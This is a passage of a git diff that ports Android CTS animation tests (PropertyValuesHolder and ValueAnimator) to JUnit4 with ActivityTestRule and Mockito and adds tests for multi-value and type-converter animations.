         PropertyValuesHolder pVHolder = PropertyValuesHolder.ofFloat(mProperty, values);
@@ -76,6 +115,7 @@
         assertEquals(pVHolder.getPropertyName(), cloneHolder.getPropertyName());
     }
 
+    @Test
     public void testSetValues() throws Throwable {
         float[] dummyValues = {100, 150};
         float[] values = {mStartY, mEndY};
@@ -102,46 +142,31 @@
 
     private void waitUntilFinished(ObjectAnimator objectAnimator, long timeoutMilliseconds)
             throws InterruptedException {
-        final CountDownLatch latch = new CountDownLatch(1);
-        objectAnimator.addListener(new AnimatorListenerAdapter() {
-            @Override
-            public void onAnimationEnd(Animator animation) {
-                super.onAnimationEnd(animation);
-                latch.countDown();
-            }
-        });
-        latch.await(timeoutMilliseconds, TimeUnit.MILLISECONDS);
-        getInstrumentation().waitForIdleSync();
+        final Animator.AnimatorListener listener = mock(Animator.AnimatorListener.class);
+        objectAnimator.addListener(listener);
+        verify(listener, within(timeoutMilliseconds)).onAnimationEnd(objectAnimator, false);
+        mInstrumentation.waitForIdleSync();
     }
 
     private void setTarget(final Animator animator, final Object target) throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                animator.setTarget(target);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> animator.setTarget(target));
     }
 
     private void startSingleAnimation(final Animator animator) throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.startSingleAnimation(animator);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mActivity.startSingleAnimation(animator));
     }
 
+    @Test
     public void testResetValues() throws Throwable {
         final float initialY = mActivity.view.newBall.getY();
         Keyframe emptyKeyframe1 = Keyframe.ofFloat(.0f);
         ObjectAnimator objAnimator1 = createAnimator(emptyKeyframe1, Keyframe.ofFloat(1f, 100f));
         startSingleAnimation(objAnimator1);
         assertTrue("Keyframe should be assigned a value", emptyKeyframe1.hasValue());
-        assertEquals("Keyframe should get the value from the target", emptyKeyframe1.getValue(),
-                initialY);
+        assertEquals("Keyframe should get the value from the target",
+                (float) emptyKeyframe1.getValue(), initialY, 0.0f);
         waitUntilFinished(objAnimator1, mDuration * 2);
-        assertEquals(100f, mActivity.view.newBall.getY());
+        assertEquals(100f, mActivity.view.newBall.getY(), 0.0f);
         startSingleAnimation(objAnimator1);
         waitUntilFinished(objAnimator1, mDuration * 2);
 
@@ -150,21 +175,22 @@
         ObjectAnimator objAnimator2 = createAnimator(emptyKeyframe2, Keyframe.ofFloat(1f, 200f));
         startSingleAnimation(objAnimator2);
         assertTrue("Keyframe should be assigned a value", emptyKeyframe2.hasValue());
-        assertEquals("Keyframe should get the value from the target", emptyKeyframe2.getValue(), 100f);
+        assertEquals("Keyframe should get the value from the target",
+                (float) emptyKeyframe2.getValue(), 100f, 0.0f);
         waitUntilFinished(objAnimator2, mDuration * 2);
-        assertEquals(200f, mActivity.view.newBall.getY());
+        assertEquals(200f, mActivity.view.newBall.getY(), 0.0f);
 
         // re-run first object animator. since its target did not change, it should have the same
         // start value for kf1
         startSingleAnimation(objAnimator1);
-        assertEquals(emptyKeyframe1.getValue(), initialY);
+        assertEquals((float) emptyKeyframe1.getValue(), initialY, 0.0f);
         waitUntilFinished(objAnimator1, mDuration * 2);
 
         Keyframe fullKeyframe = Keyframe.ofFloat(.0f, 333f);
         ObjectAnimator objAnimator3 = createAnimator(fullKeyframe, Keyframe.ofFloat(1f, 500f));
         startSingleAnimation(objAnimator3);
         assertEquals("When keyframe has value, should not be assigned from the target object",
-                fullKeyframe.getValue(), 333f);
+                (float) fullKeyframe.getValue(), 333f, 0.0f);
         waitUntilFinished(objAnimator3, mDuration * 2);
 
         // now, null out the target of the first animator
@@ -172,15 +198,16 @@
         setTarget(objAnimator1, null);
         startSingleAnimation(objAnimator1);
         assertTrue("Keyframe should get a value", emptyKeyframe1.hasValue());
-        assertEquals("Keyframe should get the updated Y value", emptyKeyframe1.getValue(), updatedY);
+        assertEquals("Keyframe should get the updated Y value",
+                (float) emptyKeyframe1.getValue(), updatedY, 0.0f);
         waitUntilFinished(objAnimator1, mDuration * 2);
-        assertEquals("Animation should run as expected", 100f, mActivity.view.newBall.getY());
+        assertEquals("Animation should run as expected", 100f, mActivity.view.newBall.getY(), 0.0f);
 
         // now, reset the target of the fully defined animation.
         setTarget(objAnimator3, null);
         startSingleAnimation(objAnimator3);
         assertEquals("When keyframe is fully defined, its value should not change when target is"
-                + " reset", fullKeyframe.getValue(), 333f);
+                + " reset", (float) fullKeyframe.getValue(), 333f, 0.0f);
         waitUntilFinished(objAnimator3, mDuration * 2);
 
         // run the other one to change Y value
@@ -194,12 +221,13 @@
         assertTrue("Keyframe should get a value when target is set to another view of the same"
                 + " class", emptyKeyframe1.hasValue());
         assertEquals("Keyframe should get the updated Y value when target is set to another view"
-                + " of the same class", emptyKeyframe1.getValue(), updatedY);
+                + " of the same class", (float) emptyKeyframe1.getValue(), updatedY, 0.0f);
         waitUntilFinished(objAnimator1, mDuration * 2);
-        assertEquals("Animation should run as expected", 100f, mActivity.view.newBall.getY());
+        assertEquals("Animation should run as expected", 100f, mActivity.view.newBall.getY(), 0.0f);
     }
 
-    public void testOffloat() throws Throwable {
+    @Test
+    public void testOfFloat() throws Throwable {
         float[] values = {mStartY, mEndY};
         PropertyValuesHolder pVHolder = PropertyValuesHolder.ofFloat(mProperty, values);
         assertNotNull(pVHolder);
@@ -213,9 +241,10 @@
         assertResults(yArray, mStartY, mEndY);
     }
 
+    @Test
     public void testOfFloat_Property() throws Throwable {
         float[] values = {mStartY, mEndY};
-        ShapeHolderYProperty property=new ShapeHolderYProperty(ShapeHolder.class.getClass(),"y");
+        ShapeHolderYProperty property=new ShapeHolderYProperty(ShapeHolder.class,"y");
         property.setObject(mObject);
         PropertyValuesHolder pVHolder = PropertyValuesHolder.ofFloat(property, values);
         assertNotNull(pVHolder);
@@ -229,6 +258,7 @@
         assertResults(yArray, mStartY, mEndY);
     }
 
+    @Test
     public void testOfInt() throws Throwable {
         int start = 0;
         int end = 10;
@@ -238,18 +268,15 @@
         final ObjectAnimator objAnimator = ObjectAnimator.ofPropertyValuesHolder(mObject,pVHolder);
         assertTrue(objAnimator != null);
         setAnimatorProperties(objAnimator);
-        this.runTestOnUiThread(new Runnable(){
-            public void run() {
-                objAnimator.start();
-            }
-        });
-        Thread.sleep(1000);
+        mActivityRule.runOnUiThread(objAnimator::start);
+        SystemClock.sleep(1000);
         assertTrue(objAnimator.isRunning());
         Integer animatedValue = (Integer) objAnimator.getAnimatedValue();
         assertTrue(animatedValue >= start);
         assertTrue(animatedValue <= end);
     }
 
+    @Test
     public void testOfInt_Property() throws Throwable{
         Object object = mActivity.view;
         String property = "backgroundColor";
@@ -257,7 +284,7 @@
         int endColor = mActivity.view.BLUE;
         int values[] = {startColor, endColor};
 
-        ViewColorProperty colorProperty=new ViewColorProperty(Integer.class.getClass(),property);
+        ViewColorProperty colorProperty=new ViewColorProperty(Integer.class,property);
         colorProperty.setObject(object);
         PropertyValuesHolder pVHolder = PropertyValuesHolder.ofInt(colorProperty, values);
         assertNotNull(pVHolder);
@@ -271,16 +298,391 @@
         ObjectAnimator objectAnimator = (ObjectAnimator) mActivity.createAnimatorWithDuration(
             mDuration);
         startAnimation(objectAnimator, colorAnimator);
-        Thread.sleep(1000);
-        Integer i = (Integer) colorAnimator.getAnimatedValue();
-        //We are going from less negative value to a more negative value
-        assertTrue(i.intValue() <= startColor);
-        assertTrue(endColor <= i.intValue());
+        SystemClock.sleep(1000);
+        Integer animatedValue = (Integer) colorAnimator.getAnimatedValue();
+        int redMin = Math.min(Color.red(startColor), Color.red(endColor));
+        int redMax = Math.max(Color.red(startColor), Color.red(endColor));
+        int blueMin = Math.min(Color.blue(startColor), Color.blue(endColor));
+        int blueMax = Math.max(Color.blue(startColor), Color.blue(endColor));
+        assertTrue(Color.red(animatedValue) >= redMin);
+        assertTrue(Color.red(animatedValue) <= redMax);
+        assertTrue(Color.blue(animatedValue) >= blueMin);
+        assertTrue(Color.blue(animatedValue) <= blueMax);
     }
 
+    @Test
+    public void testOfMultiFloat_Path() throws Throwable {
+        // Test for PropertyValuesHolder.ofMultiFloat(String, Path);
+        // Create a quadratic bezier curve that are symmetric about the vertical line (x = 50).
+        // Expect when fraction < 0.5, x < 50, otherwise, x >= 50.
+        Path path = new Path();
+        path.moveTo(QUADRATIC_CTRL_PT1_X, QUADRATIC_CTRL_PT1_Y);
+        path.quadTo(QUADRATIC_CTRL_PT2_X, QUADRATIC_CTRL_PT2_Y,
+                QUADRATIC_CTRL_PT3_X, QUADRATIC_CTRL_PT3_Y);
+
+        PropertyValuesHolder pvh = PropertyValuesHolder.ofMultiFloat("position", path);
+        final ValueAnimator anim = ValueAnimator.ofPropertyValuesHolder(pvh);
+
+        // Linear interpolator
+        anim.setInterpolator(null);
+        anim.setDuration(200);
+
+        anim.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+            float lastFraction = 0;
+            float lastX = 0;
+            float lastY = 0;
+            @Override
+            public void onAnimationUpdate(ValueAnimator animation) {
+                float[] values = (float[]) animation.getAnimatedValue();
+                assertEquals(2, values.length);
+                float x = values[0];
+                float y = values[1];
+                float fraction = animation.getAnimatedFraction();
+                // Given that the curve is symmetric about the line (x = 50), x should be less than
+                // 50 for half of the animation duration.
+                if (fraction < 0.5) {
+                    assertTrue(x < QUADRATIC_CTRL_PT2_X);
+                } else {
+                    assertTrue(x >= QUADRATIC_CTRL_PT2_X);
+                }
+
+                if (lastFraction > 0.5) {
+                    // x should be increasing, y should be decreasing
+                    assertTrue(x >= lastX);
+                    assertTrue(y <= lastY);
+                } else if (fraction <= 0.5) {
+                    // when fraction <= 0.5, both x, y should be increasing
+                    assertTrue(x >= lastX);
+                    assertTrue(y >= lastY);
+                }
+                lastX = x;
+                lastY = y;
+                lastFraction = fraction;
+            }
+        });
+        final Animator.AnimatorListener listener = mock(Animator.AnimatorListener.class);
+        anim.addListener(listener);
+        mActivityRule.runOnUiThread(anim::start);
+        verify(listener, within(400)).onAnimationEnd(anim, false);
+    }
+
+    @Test
+    public void testOfMultiFloat_Array() throws Throwable {
+        // Test for PropertyValuesHolder.ofMultiFloat(String, float[][]);
+        final float[][] data = new float[10][];
+        for (int i = 0; i < data.length; i++) {
+            data[i] = new float[3];
+            data[i][0] = i;
+            data[i][1] = i * 2;
+            data[i][2] = 0f;
+        }
+        final CountDownLatch endLatch = new CountDownLatch(1);
+        final PropertyValuesHolder pvh = PropertyValuesHolder.ofMultiFloat("position", data);
+
+        final ValueAnimator anim = ValueAnimator.ofPropertyValuesHolder(pvh);
+        anim.setInterpolator(null);
+        anim.setDuration(60);
+        anim.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        anim.addUpdateListener((ValueAnimator animation) -> {
+            float fraction = animation.getAnimatedFraction();
+            float[] values = (float[]) animation.getAnimatedValue();
+            assertEquals(3, values.length);
+
+            float expectedX = fraction * (data.length - 1);
+
+            assertEquals(expectedX, values[0], EPSILON);
+            assertEquals(expectedX * 2, values[1], EPSILON);
+            assertEquals(0.0f, values[2], 0.0f);
+        });
+
+        mActivityRule.runOnUiThread(anim::start);
+        assertTrue(endLatch.await(200, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testOfMultiInt_Path() throws Throwable {
+        // Test for PropertyValuesHolder.ofMultiInt(String, Path);
+        // Create a quadratic bezier curve that are symmetric about the vertical line (x = 50).
+        // Expect when fraction < 0.5, x < 50, otherwise, x >= 50.
+        Path path = new Path();
+        path.moveTo(QUADRATIC_CTRL_PT1_X, QUADRATIC_CTRL_PT1_Y);
+        path.quadTo(QUADRATIC_CTRL_PT2_X, QUADRATIC_CTRL_PT2_Y,
+                QUADRATIC_CTRL_PT3_X, QUADRATIC_CTRL_PT3_Y);
+
+        final PropertyValuesHolder pvh = PropertyValuesHolder.ofMultiInt("position", path);
+        final ValueAnimator anim = ValueAnimator.ofPropertyValuesHolder(pvh);
+        // Linear interpolator
+        anim.setInterpolator(null);
+        anim.setDuration(200);
+
+        anim.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+            float lastFraction = 0;
+            int lastX = 0;
+            int lastY = 0;
+            @Override
+            public void onAnimationUpdate(ValueAnimator animation) {
+                int[] values = (int[]) animation.getAnimatedValue();
+                assertEquals(2, values.length);
+                int x = values[0];
+                int y = values[1];
+                float fraction = animation.getAnimatedFraction();
+                // Given that the curve is symmetric about the line (x = 50), x should be less than
+                // 50 for half of the animation duration.
+                if (fraction < 0.5) {
+                    assertTrue(x < QUADRATIC_CTRL_PT2_X);
+                } else {
+                    assertTrue(x >= QUADRATIC_CTRL_PT2_X);
+                }
+
+                if (lastFraction > 0.5) {
+                    // x should be increasing, y should be decreasing
+                    assertTrue(x >= lastX);
+                    assertTrue(y <= lastY);
+                } else if (fraction <= 0.5) {
+                    // when fraction <= 0.5, both x, y should be increasing
+                    assertTrue(x >= lastX);
+                    assertTrue(y >= lastY);
+                }
+                lastX = x;
+                lastY = y;
+                lastFraction = fraction;
+            }
+        });
+        final Animator.AnimatorListener listener = mock(Animator.AnimatorListener.class);
+        anim.addListener(listener);
+        mActivityRule.runOnUiThread(anim::start);
+        verify(listener, within(400)).onAnimationEnd(anim, false);
+    }
+
+    @Test
+    public void testOfMultiInt_Array() throws Throwable {
+        // Test for PropertyValuesHolder.ofMultiFloat(String, int[][]);
+        final int[][] data = new int[10][];
+        for (int i = 0; i < data.length; i++) {
+            data[i] = new int[3];
+            data[i][0] = i;
+            data[i][1] = i * 2;
+            data[i][2] = 0;
+        }
+
+        final CountDownLatch endLatch = new CountDownLatch(1);
+        final PropertyValuesHolder pvh = PropertyValuesHolder.ofMultiInt("position", data);
+        final ValueAnimator anim = ValueAnimator.ofPropertyValuesHolder(pvh);
+        anim.setInterpolator(null);
+        anim.setDuration(60);
+        anim.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        anim.addUpdateListener((ValueAnimator animation) -> {
+            float fraction = animation.getAnimatedFraction();
+            int[] values = (int[]) animation.getAnimatedValue();
+            assertEquals(3, values.length);
+
+            int expectedX = Math.round(fraction * (data.length - 1));
+            int expectedY = Math.round(fraction * (data.length - 1) * 2);
+
+            // Allow a delta of 1 for rounding errors.
+            assertEquals(expectedX, values[0], 1);
+            assertEquals(expectedY, values[1], 1);
+            assertEquals(0, values[2]);
+        });
+
+        mActivityRule.runOnUiThread(anim::start);
+        assertTrue(endLatch.await(200, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testOfObject_Converter() throws Throwable {
+        // Test for PropertyValuesHolder.ofObject(String, TypeConverter<T, V>, Path)
+        // and for PropertyValuesHolder.ofObject(Property, TypeConverter<T, V>, Path)
+        // Create a path that contains two disconnected line segments. Check that the animated
+        // property x and property y always stay on the line segments.
+        Path path = new Path();
+        path.moveTo(LINE1_START, -LINE1_START);
+        path.lineTo(LINE1_END, -LINE1_END);
+        path.moveTo(LINE2_START, LINE2_START);
+        path.lineTo(LINE2_END, LINE2_END);
+        TypeConverter<PointF, Float> converter = new TypeConverter<PointF, Float>(
+                PointF.class, Float.class) {
+            @Override
+            public Float convert(PointF value) {
+                return (float) Math.sqrt(value.x * value.x + value.y * value.y);
+            }
+        };
+        final CountDownLatch endLatch = new CountDownLatch(3);
+
+        // Create three animators. The first one use a converter that converts the point to distance
+        // to  origin. The second one does not have a type converter. The third animator uses a
+        // converter to changes sign of the x, y value of the input pointF.
+        FloatProperty property = new FloatProperty("distance") {
+            @Override
+            public void setValue(Object object, float value) {
+            }
+
+            @Override
+            public Object get(Object object) {
+                return null;
+            }
+        };
+        final PropertyValuesHolder pvh1 =
+                PropertyValuesHolder.ofObject(property, converter, path);
+        final ValueAnimator anim1 = ValueAnimator.ofPropertyValuesHolder(pvh1);
+        anim1.setDuration(100);
+        anim1.setInterpolator(null);
+        anim1.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        final PropertyValuesHolder pvh2 =
+                PropertyValuesHolder.ofObject("position", null, path);
+        final ValueAnimator anim2 = ValueAnimator.ofPropertyValuesHolder(pvh2);
+        anim2.setDuration(100);
+        anim2.setInterpolator(null);
+        anim2.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        TypeConverter<PointF, PointF> converter3 = new TypeConverter<PointF, PointF>(
+                PointF.class, PointF.class) {
+            PointF mValue = new PointF();
+            @Override
+            public PointF convert(PointF value) {
+                mValue.x = -value.x;
+                mValue.y = -value.y;
+                return mValue;
+            }
+        };
+        final PropertyValuesHolder pvh3 =
+                PropertyValuesHolder.ofObject("position", converter3, path);
+        final ValueAnimator anim3 = ValueAnimator.ofPropertyValuesHolder(pvh3);
+        anim3.setDuration(100);
+        anim3.setInterpolator(null);
+        anim3.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        anim3.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+            // Set the initial value of the distance to the distance between the first point on
+            // the path to the origin.
+            float mLastDistance = (float) (32 * Math.sqrt(2));
+            float mLastFraction = 0f;
+            @Override
+            public void onAnimationUpdate(ValueAnimator animation) {
+                float fraction = anim1.getAnimatedFraction();
+                assertEquals(fraction, anim2.getAnimatedFraction(), 0.0f);
+                assertEquals(fraction, anim3.getAnimatedFraction(), 0.0f);
+                float distance = (Float) anim1.getAnimatedValue();
+                PointF position = (PointF) anim2.getAnimatedValue();
+                PointF positionReverseSign = (PointF) anim3.getAnimatedValue();
+                assertEquals(position.x, -positionReverseSign.x, 0.0f);
+                assertEquals(position.y, -positionReverseSign.y, 0.0f);
+
+                // Manually calculate the distance for the animator that doesn't have a
+                // TypeConverter, and expect the result to be the same as the animation value from
+                // the type converter.
+                float distanceFromPosition = (float) Math.sqrt(
+                        position.x * position.x + position.y * position.y);
+                assertEquals(distance, distanceFromPosition, 0.0001f);
+
+                if (mLastFraction > 0.75) {
+                    // In the 2nd line segment of the path, distance to origin should be increasing.
+                    assertTrue(distance >= mLastDistance);
+                } else if (fraction < 0.75) {
+                    assertTrue(distance <= mLastDistance);
+                }
+                mLastDistance = distance;
+                mLastFraction = fraction;
+            }
+        });
+
+        mActivityRule.runOnUiThread(() -> {
+            anim1.start();
+            anim2.start();
+            anim3.start();
+        });
+
+        // Wait until both of the animations finish
+        assertTrue(endLatch.await(200, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSetConverter() throws Throwable {
+        // Test for PropertyValuesHolder.setConverter()
+        PropertyValuesHolder pvh = PropertyValuesHolder.ofObject("", null, 0f, 1f);
+        // Reverse the sign of the float in the converter, and use that value as the new type
+        // PointF's x value.
+        pvh.setConverter(new TypeConverter<Float, PointF>(Float.class, PointF.class) {
+            PointF mValue = new PointF();
+            @Override
+            public PointF convert(Float value) {
+                mValue.x = value * (-1f);
+                mValue.y = 0f;
+                return mValue;
+            }
+        });
+        final CountDownLatch endLatch = new CountDownLatch(2);
+
+        final ValueAnimator anim1 = ValueAnimator.ofPropertyValuesHolder(pvh);
+        anim1.setInterpolator(null);
+        anim1.setDuration(100);
+        anim1.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        final ValueAnimator anim2 = ValueAnimator.ofFloat(0f, 1f);
+        anim2.setInterpolator(null);
+        anim2.addUpdateListener((ValueAnimator animation) -> {
+            assertEquals(anim1.getAnimatedFraction(), anim2.getAnimatedFraction(), 0.0f);
+            // Check that the pvh with type converter did reverse the sign of float, and set
+            // the x value of the PointF with it.
+            PointF value1 = (PointF) anim1.getAnimatedValue();
+            float value2 = (Float) anim2.getAnimatedValue();
+            assertEquals(value2, -value1.x, 0.0f);
+            assertEquals(0f, value1.y, 0.0f);
+        });
+        anim2.setDuration(100);
+        anim2.addListener(new AnimatorListenerAdapter() {
+            @Override
+            public void onAnimationEnd(Animator animation) {
+                endLatch.countDown();
+            }
+        });
+
+        mActivityRule.runOnUiThread(() -> {
+            anim1.start();
+            anim2.start();
+        });
+
+        // Wait until both of the animations finish
+        assertTrue(endLatch.await(200, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
     public void testSetProperty() throws Throwable {
         float[] values = {mStartY, mEndY};
-        ShapeHolderYProperty property=new ShapeHolderYProperty(ShapeHolder.class.getClass(),"y");
+        ShapeHolderYProperty property=new ShapeHolderYProperty(ShapeHolder.class,"y");
         property.setObject(mObject);
         PropertyValuesHolder pVHolder = PropertyValuesHolder.ofFloat("", values);
         pVHolder.setProperty(property);
@@ -294,7 +696,7 @@
 
     class ShapeHolderYProperty extends Property {
         private ShapeHolder shapeHolder ;
-        private Class type = Float.class.getClass();
+        private Class type = Float.class;
         private String name = "y";
         @SuppressWarnings("unchecked")
         public ShapeHolderYProperty(Class type, String name) throws Exception {
@@ -338,7 +740,7 @@
 
     class ViewColorProperty extends Property {
         private View view ;
-        private Class type = Integer.class.getClass();
+        private Class type = Integer.class;
         private String name = "backgroundColor";
         @SuppressWarnings("unchecked")
         public ViewColorProperty(Class type, String name) throws Exception {
@@ -391,7 +793,7 @@
         for(int i = 0; i < 3; i++) {
             float y = mActivity.view.newBall.getY();
             yArray[i] = y;
-            Thread.sleep(300);
+            SystemClock.sleep(300);
         }
         return yArray;
     }
@@ -409,21 +811,12 @@
     }
 
     private void startAnimation(final Animator animator) throws Throwable {
-        this.runTestOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.startAnimation(animator);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mActivity.startAnimation(animator));
     }
 
     private void startAnimation(final ObjectAnimator mObjectAnimator,
             final ObjectAnimator colorAnimator) throws Throwable {
-        Thread mAnimationRunnable = new Thread() {
-            public void run() {
-                mActivity.startAnimation(mObjectAnimator, colorAnimator);
-            }
-        };
-        this.runTestOnUiThread(mAnimationRunnable);
+        mActivityRule.runOnUiThread(() -> mActivity.startAnimation(mObjectAnimator, colorAnimator));
     }
 }
 
diff --git a/tests/tests/animation/src/android/animation/cts/ShapeHolder.java b/tests/tests/animation/src/android/animation/cts/ShapeHolder.java
index 4723c67..e35ef64 100644
--- a/tests/tests/animation/src/android/animation/cts/ShapeHolder.java
+++ b/tests/tests/animation/src/android/animation/cts/ShapeHolder.java
@@ -16,10 +16,10 @@
 
 package android.animation.cts;
 
-import android.graphics.drawable.ShapeDrawable;
-import android.graphics.drawable.shapes.Shape;
 import android.graphics.Paint;
 import android.graphics.RadialGradient;
+import android.graphics.drawable.ShapeDrawable;
+import android.graphics.drawable.shapes.Shape;
 
 /**
  * A data structure that holds a Shape and various properties that can be used to define
diff --git a/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java b/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java
index b778530..59b8e5db 100644
--- a/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java
+++ b/tests/tests/animation/src/android/animation/cts/ValueAnimatorTest.java
@@ -15,42 +15,86 @@
  */
 package android.animation.cts;
 
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.atLeast;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
 import android.animation.Animator;
+import android.animation.Animator.AnimatorListener;
 import android.animation.AnimatorListenerAdapter;
 import android.animation.ObjectAnimator;
+import android.animation.PropertyValuesHolder;
+import android.animation.TypeEvaluator;
 import android.animation.ValueAnimator;
-import android.test.ActivityInstrumentationTestCase2;
+import android.graphics.Color;
+import android.graphics.PointF;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.animation.AccelerateInterpolator;
 import android.view.animation.LinearInterpolator;
 
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-public class ValueAnimatorTest extends
-        ActivityInstrumentationTestCase2<AnimationActivity> {
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class ValueAnimatorTest {
+    private static final float EPSILON = 0.0001f;
+    private static float sPreviousAnimatorScale = 1.0f;
+
     private AnimationActivity mActivity;
     private ValueAnimator mValueAnimator;
-    private long mDuration = 2000;
+    private final long mDuration = 2000;
 
-    public ValueAnimatorTest() {
-        super(AnimationActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<AnimationActivity> mActivityRule =
+            new ActivityTestRule<>(AnimationActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        setActivityInitialTouchMode(false);
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        InstrumentationRegistry.getInstrumentation().setInTouchMode(false);
+        mActivity = mActivityRule.getActivity();
         mValueAnimator = mActivity.createAnimatorWithDuration(mDuration);
     }
 
-    public void testDuration() throws Throwable {
-        final long duration = 2000;
-        ValueAnimator valueAnimatorLocal = mActivity.createAnimatorWithDuration(duration);
-        startAnimation(valueAnimatorLocal);
-        assertEquals(duration, valueAnimatorLocal.getDuration());
+    @BeforeClass
+    public static void beforeClass() {
+        sPreviousAnimatorScale = ValueAnimator.getDurationScale();
+        ValueAnimator.setDurationScale(1.0f);
     }
 
+    @AfterClass
+    public static void afterClass() {
+        ValueAnimator.setDurationScale(sPreviousAnimatorScale);
+    }
+
+    @Test
+    public void testDuration() throws Throwable {
+        ValueAnimator valueAnimatorLocal = mActivity.createAnimatorWithDuration(mDuration);
+        startAnimation(valueAnimatorLocal);
+        assertEquals(mDuration, valueAnimatorLocal.getDuration());
+    }
+
+    @Test
     public void testIsRunning() throws Throwable {
         assertFalse(mValueAnimator.isRunning());
         startAnimation(mValueAnimator);
@@ -58,6 +102,7 @@
         assertTrue(valueAnimatorReturned.isRunning());
     }
 
+    @Test
     public void testIsStarted() throws Throwable {
         assertFalse(mValueAnimator.isRunning());
         assertFalse(mValueAnimator.isStarted());
@@ -68,6 +113,7 @@
         assertTrue(mValueAnimator.isStarted());
     }
 
+    @Test
     public void testRepeatMode() throws Throwable {
         ValueAnimator mValueAnimator = mActivity.createAnimatorWithRepeatMode(
             ValueAnimator.RESTART);
@@ -75,6 +121,7 @@
         assertEquals(ValueAnimator.RESTART, mValueAnimator.getRepeatMode());
     }
 
+    @Test
     public void testRepeatCount() throws Throwable {
         int repeatCount = 2;
         ValueAnimator mValueAnimator = mActivity.createAnimatorWithRepeatCount(repeatCount);
@@ -82,203 +129,322 @@
         assertEquals(repeatCount, mValueAnimator.getRepeatCount());
     }
 
+    @Test
     public void testStartDelay() {
         long startDelay = 1000;
         mValueAnimator.setStartDelay(startDelay);
         assertEquals(startDelay, mValueAnimator.getStartDelay());
     }
 
+    /**
+     * Verify that an animator with start delay will have its listener's onAnimationStart(...)
+     * and onAnimationEnd(...) called at the right time.
+     */
+    @Test
+    public void testListenerCallbackWithStartDelay() throws Throwable {
+        final ValueAnimator anim = ValueAnimator.ofFloat(0f, 1f);
+        anim.setStartDelay(300);
+        anim.setDuration(300);
+        AnimatorListener listener = mock(AnimatorListenerAdapter.class);
+        anim.addListener(listener);
+        mActivityRule.runOnUiThread(() -> {
+            anim.start();
+        });
+
+        verify(listener, timeout(450).times(1)).onAnimationStart(anim, false);
+        verify(listener, timeout(450).times(1)).onAnimationEnd(anim, false);
+    }
+
+    @Test
     public void testGetCurrentPlayTime() throws Throwable {
         startAnimation(mValueAnimator);
-        Thread.sleep(100);
+        SystemClock.sleep(100);
         long currentPlayTime = mValueAnimator.getCurrentPlayTime();
         assertTrue(currentPlayTime  >  0);
     }
 
-    /**
-     * Test for equality within some epsilon. This accounts for minor differences
-     * due to floating-point accuracy.
-     */
-    private void assertRoughlyEqual(float expected, float actual) {
-        final float epsilon = .001f;
-        assertTrue(actual > (expected - epsilon) && actual < (expected + epsilon));
-    }
-
+    @Test
     public void testSetCurrentPlayTime() throws Throwable {
         final ValueAnimator anim = ValueAnimator.ofFloat(0, 100).setDuration(mDuration);
         final ValueAnimator delayedAnim = ValueAnimator.ofFloat(0, 100).setDuration(mDuration);
         delayedAnim.setStartDelay(mDuration);
         final long proposedCurrentPlayTime = mDuration / 2;
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                anim.setCurrentPlayTime(mDuration / 2);
-                long currentPlayTime = anim.getCurrentPlayTime();
-                float currentFraction = anim.getAnimatedFraction();
-                float currentValue = (Float) anim.getAnimatedValue();
-                assertEquals(proposedCurrentPlayTime, currentPlayTime);
-                assertRoughlyEqual(.5f, currentFraction);
-                assertRoughlyEqual(50, currentValue);
+        mActivityRule.runOnUiThread(() -> {
+            anim.setCurrentPlayTime(mDuration / 2);
+            long currentPlayTime = anim.getCurrentPlayTime();
+            float currentFraction = anim.getAnimatedFraction();
+            float currentValue = (Float) anim.getAnimatedValue();
+            assertEquals(proposedCurrentPlayTime, currentPlayTime);
+            assertEquals(.5f, currentFraction, EPSILON);
+            assertEquals(50, currentValue, EPSILON);
 
-                delayedAnim.setCurrentPlayTime(mDuration / 2);
